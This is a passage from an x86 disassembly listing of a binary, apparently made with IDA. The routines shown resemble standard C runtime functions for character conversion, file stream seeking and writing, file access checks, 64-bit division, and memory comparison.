; ---------------------------------------------------------------------------


loc_419D38:				; CODE XREF: sub_419D00+18j
		mov	[ebp+var_4], 0


loc_419D3F:				; CODE XREF: sub_419D00+36j
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_419D80
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_419D68
		push	13h
		call	sub_41B820
		add	esp, 4
		jmp	short loc_419D73
; ---------------------------------------------------------------------------


loc_419D68:				; CODE XREF: sub_419D00+5Aj
		push	offset dword_4DB45C
		nop
		call	near ptr 2840C7Bh


loc_419D73:				; CODE XREF: sub_419D00+66j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_419D00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D80	proc near		; CODE XREF: sub_419D00+4Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_419DA3
		cmp	[ebp+arg_8], 0
		jnz	short loc_419DA3
		xor	eax, eax
		jmp	loc_419F64
; ---------------------------------------------------------------------------


loc_419DA3:				; CODE XREF: sub_419D80+14j
					; sub_419D80+1Aj ...
		cmp	[ebp+arg_4], 0
		jnz	short loc_419DC7
		push	offset dword_433CCC
		push	0
		push	55h
		push	offset dword_433CC0
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419DC7
		int	3		; Trap to Debugger


loc_419DC7:				; CODE XREF: sub_419D80+27j
					; sub_419D80+44j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419DA3
		cmp	[ebp+arg_0], 0
		jz	loc_419F16
		cmp	dword_4DB1B8, 0
		jnz	short loc_419E29


loc_419DE0:				; CODE XREF: sub_419D80+9Fj
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_419E21
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movzx	ax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], ax
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_419E0D
		mov	eax, [ebp+var_4]
		jmp	loc_419F64
; ---------------------------------------------------------------------------


loc_419E0D:				; CODE XREF: sub_419D80+83j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		jmp	short loc_419DE0
; ---------------------------------------------------------------------------


loc_419E21:				; CODE XREF: sub_419D80+66j
		mov	eax, [ebp+var_4]
		jmp	loc_419F64
; ---------------------------------------------------------------------------


loc_419E29:				; CODE XREF: sub_419D80+5Ej
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4DB1C8
		push	eax
		nop
		call	near ptr 2810000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_419E59
		mov	eax, [ebp+var_4]
		sub	eax, 1
		jmp	loc_419F64
; ---------------------------------------------------------------------------


loc_419E59:				; CODE XREF: sub_419D80+CCj
		nop
		call	near ptr 26908EFh
		cmp	eax, 7Ah
		jz	short loc_419E77
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_419F64
; ---------------------------------------------------------------------------


loc_419E77:				; CODE XREF: sub_419D80+E2j
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_8], edx
		jmp	short loc_419E8E
; ---------------------------------------------------------------------------


loc_419E85:				; CODE XREF: sub_419D80:loc_419ECFj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_419E8E:				; CODE XREF: sub_419D80+103j
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_419ED1
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_419ED1
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_419ECF
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_419ECF:				; CODE XREF: sub_419D80+144j
		jmp	short loc_419E85
; ---------------------------------------------------------------------------


loc_419ED1:				; CODE XREF: sub_419D80+11Cj
					; sub_419D80+127j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	1
		mov	eax, dword_4DB1C8
		push	eax
		nop
		call	near ptr 2810000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_419F11
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419F64
; ---------------------------------------------------------------------------


loc_419F11:				; CODE XREF: sub_419D80+17Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_419F64
; ---------------------------------------------------------------------------


loc_419F16:				; CODE XREF: sub_419D80+51j
		cmp	dword_4DB1B8, 0
		jnz	short loc_419F2D
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_414BE0
		add	esp, 4
		jmp	short loc_419F64
; ---------------------------------------------------------------------------


loc_419F2D:				; CODE XREF: sub_419D80+19Dj
		push	0
		push	0
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		push	edx
		push	9
		mov	eax, dword_4DB1C8
		push	eax
		nop
		call	near ptr 2810000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_419F5E
		call	sub_420520
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419F64
; ---------------------------------------------------------------------------


loc_419F5E:				; CODE XREF: sub_419D80+1CCj
		mov	eax, [ebp+var_4]
		sub	eax, 1


loc_419F64:				; CODE XREF: sub_419D80+1Ej
					; sub_419D80+88j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419D80	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_419F77:				; CODE XREF: ___:00419F9Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_419F9B
		push	offset dword_4334A4
		push	0
		push	65h
		push	offset dword_433CD8
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_419F9B
		int	3		; Trap to Debugger


loc_419F9B:				; CODE XREF: ___:00419F7Bj
					; ___:00419F98j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419F77
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_418E90
		add	esp, 4
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_419FE0
		add	esp, 0Ch
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FE0	proc near		; CODE XREF: ___:00419FB9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_419FE7:				; CODE XREF: sub_419FE0+32j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41A00E
		push	offset dword_4334B4
		push	0
		push	92h
		push	offset dword_433CD8
		push	2
		call	sub_41AB10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41A00E
		int	3		; Trap to Debugger


loc_41A00E:				; CODE XREF: sub_419FE0+Bj
					; sub_419FE0+2Bj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_419FE7
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41A03B
		cmp	[ebp+arg_8], 0
		jz	short loc_41A04E
		cmp	[ebp+arg_8], 1
		jz	short loc_41A04E
		cmp	[ebp+arg_8], 2
		jz	short loc_41A04E


loc_41A03B:				; CODE XREF: sub_419FE0+47j
		call	sub_420520
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_41A100
; ---------------------------------------------------------------------------


loc_41A04E:				; CODE XREF: sub_419FE0+4Dj
					; sub_419FE0+53j ...
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		cmp	[ebp+arg_8], 1
		jnz	short loc_41A07E
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4255E0
		add	esp, 4
		mov	edx, [ebp+arg_4]
		add	edx, eax
		mov	[ebp+arg_4], edx
		mov	[ebp+arg_8], 0


loc_41A07E:				; CODE XREF: sub_419FE0+81j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41B420
		add	esp, 4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jz	short loc_41A0AB
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 0FFFFFFFCh
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		jmp	short loc_41A0DF
; ---------------------------------------------------------------------------


loc_41A0AB:				; CODE XREF: sub_419FE0+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_41A0DF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_41A0DF
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 400h
		test	edx, edx
		jnz	short loc_41A0DF
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 200h


loc_41A0DF:				; CODE XREF: sub_419FE0+C9j
					; sub_419FE0+D6j ...
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_425420
		add	esp, 0Ch
		sub	eax, 0FFFFFFFFh
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax


loc_41A100:				; CODE XREF: sub_419FE0+69j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_419FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A110	proc near		; CODE XREF: ___:00410F49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_418E90
		add	esp, 4
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A150
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_418F00
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41A110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A150	proc near		; CODE XREF: sub_41A110+20p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_4]
		imul	ecx, [ebp+arg_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jnz	short loc_41A179
		xor	eax, eax
		jmp	loc_41A365
; ---------------------------------------------------------------------------


loc_41A179:				; CODE XREF: sub_41A150+20j
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jz	short loc_41A194
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_1C], eax
		jmp	short loc_41A19B
; ---------------------------------------------------------------------------


loc_41A194:				; CODE XREF: sub_41A150+37j
		mov	[ebp+var_1C], 1000h


loc_41A19B:				; CODE XREF: sub_41A150+42j
					; sub_41A150:loc_41A35Dj
		cmp	[ebp+var_C], 0
		jz	loc_41A362
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	short loc_41A229
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41A229
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		cmp	edx, [ecx+4]
		jnb	short loc_41A1D1
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20], eax
		jmp	short loc_41A1DA
; ---------------------------------------------------------------------------


loc_41A1D1:				; CODE XREF: sub_41A150+77j
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+4]
		mov	[ebp+var_20], edx


loc_41A1DA:				; CODE XREF: sub_41A150+7Fj
		mov	eax, [ebp+var_20]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		push	ecx
		call	sub_4187B0
		add	esp, 0Ch
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		add	ecx, [ebp+var_18]
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		jmp	loc_41A35D
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A150+63j
					; sub_41A150+6Cj
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_1C]
		jb	loc_41A2FF
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		and	eax, 108h
		test	eax, eax
		jz	short loc_41A264
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_41B420
		add	esp, 4
		test	eax, eax
		jz	short loc_41A264
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41A365
; ---------------------------------------------------------------------------


loc_41A264:				; CODE XREF: sub_41A150+F2j
					; sub_41A150+102j
		cmp	[ebp+var_1C], 0
		jz	short loc_41A27C
		mov	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+var_1C]
		mov	eax, [ebp+var_C]
		sub	eax, edx
		mov	[ebp+var_24], eax
		jmp	short loc_41A282
; ---------------------------------------------------------------------------


loc_41A27C:				; CODE XREF: sub_41A150+118j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_24], ecx


loc_41A282:				; CODE XREF: sub_41A150+12Aj
		mov	edx, [ebp+var_24]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+10h]
		push	eax
		call	sub_425880
		add	esp, 0Ch
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41A2C7
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	loc_41A365
; ---------------------------------------------------------------------------


loc_41A2C7:				; CODE XREF: sub_41A150+156j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_18]
		jnb	short loc_41A2FD
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+arg_C]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41A365
; ---------------------------------------------------------------------------


loc_41A2FD:				; CODE XREF: sub_41A150+18Fj
		jmp	short loc_41A35D
; ---------------------------------------------------------------------------


loc_41A2FF:				; CODE XREF: sub_41A150+DFj
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41E730
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A32A
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_C]
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41A365
; ---------------------------------------------------------------------------


loc_41A32A:				; CODE XREF: sub_41A150+1CBj
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+18h], 0
		jle	short loc_41A350
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+18h]
		mov	[ebp+var_28], eax
		jmp	short loc_41A357
; ---------------------------------------------------------------------------


loc_41A350:				; CODE XREF: sub_41A150+1F3j
		mov	[ebp+var_28], 1


loc_41A357:				; CODE XREF: sub_41A150+1FEj
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_1C], ecx


loc_41A35D:				; CODE XREF: sub_41A150+D4j
					; sub_41A150:loc_41A2FDj
		jmp	loc_41A19B
; ---------------------------------------------------------------------------


loc_41A362:				; CODE XREF: sub_41A150+4Fj
		mov	eax, [ebp+arg_8]


loc_41A365:				; CODE XREF: sub_41A150+24j
					; sub_41A150+10Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41A150	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A370	proc near		; CODE XREF: sub_41156C+8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 26B0C38h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41A39B
		nop
		call	near ptr 26908EFh
		push	eax
		call	sub_420480
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A39B:				; CODE XREF: sub_41A370+15j
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_41A3CA
		mov	edx, [ebp+arg_4]
		and	edx, 2
		test	edx, edx
		jz	short loc_41A3CA
		call	sub_420520
		mov	dword ptr [eax], 0Dh
		call	sub_420530
		mov	dword ptr [eax], 5
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A3CA:				; CODE XREF: sub_41A370+33j
					; sub_41A370+3Dj
		xor	eax, eax


loc_41A3CC:				; CODE XREF: sub_41A370+29j
					; sub_41A370+58j
		mov	esp, ebp
		pop	ebp
		retn
sub_41A370	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3D0	proc near		; CODE XREF: sub_411586+3Fp
					; sub_41406D+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41A3F2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41A433
; ---------------------------------------------------------------------------


loc_41A3F2:				; CODE XREF: sub_41A3D0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41A400:				; CODE XREF: sub_41A3D0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41A400
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41A42E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41A42E
		jb	short loc_41A42F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41A42F


loc_41A42E:				; CODE XREF: sub_41A3D0+4Ej
					; sub_41A3D0+54j
		dec	esi


loc_41A42F:				; CODE XREF: sub_41A3D0+56j
					; sub_41A3D0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41A433:				; CODE XREF: sub_41A3D0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41A3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A440	proc near		; CODE XREF: sub_411586+2Dp
					; sub_41406D+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41A461
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41A4B1
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A440+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41A46F:				; CODE XREF: sub_41A440+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41A46F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41A49A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41A49A
		jb	short loc_41A4A2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41A4A2


loc_41A49A:				; CODE XREF: sub_41A440+4Aj
					; sub_41A440+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41A4A2:				; CODE XREF: sub_41A440+52j
					; sub_41A440+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41A4B1:				; CODE XREF: sub_41A440+1Fj
		pop	ebx
		retn	10h
sub_41A440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A4C0	proc near		; CODE XREF: sub_411696+5Ep
					; sub_411696+8Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41A4E1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41A4E1:				; CODE XREF: sub_41A4C0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41A4FD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41A4FD:				; CODE XREF: sub_41A4C0+27j
		or	eax, eax
		jnz	short loc_41A519
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41A55A
; ---------------------------------------------------------------------------


loc_41A519:				; CODE XREF: sub_41A4C0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41A527:				; CODE XREF: sub_41A4C0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41A527
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41A555
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41A555
		jb	short loc_41A556
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41A556


loc_41A555:				; CODE XREF: sub_41A4C0+85j
					; sub_41A4C0+8Bj
		dec	esi


loc_41A556:				; CODE XREF: sub_41A4C0+8Dj
					; sub_41A4C0+93j
		xor	edx, edx
		mov	eax, esi


loc_41A55A:				; CODE XREF: sub_41A4C0+57j
		dec	edi
		jnz	short loc_41A564
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41A564:				; CODE XREF: sub_41A4C0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41A4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A570	proc near		; CODE XREF: sub_411911+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41A5BC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41A5BD
		test	eax, 1
		jz	short loc_41A59D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41A5EA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41A5BA


loc_41A59D:				; CODE XREF: sub_41A570+20j
					; sub_41A570+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41A5EA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41A5EA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41A59D


loc_41A5BA:				; CODE XREF: sub_41A570+2Bj
					; sub_41A570+84j
		pop	edi
		pop	esi

locret_41A5BC:				; CODE XREF: sub_41A570+6j
		retn
; ---------------------------------------------------------------------------


loc_41A5BD:				; CODE XREF: sub_41A570+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41A5F2
		repe cmpsd
		jz	short loc_41A5F2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41A5E5
		cmp	ch, dh
		jnz	short loc_41A5E5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41A5E5
		cmp	ch, dh


loc_41A5E5:				; CODE XREF: sub_41A570+63j
					; sub_41A570+67j ...
		mov	eax, 0


loc_41A5EA:				; CODE XREF: sub_41A570+26j
					; sub_41A570+33j ...
		sbb	eax, eax
		pop	edi
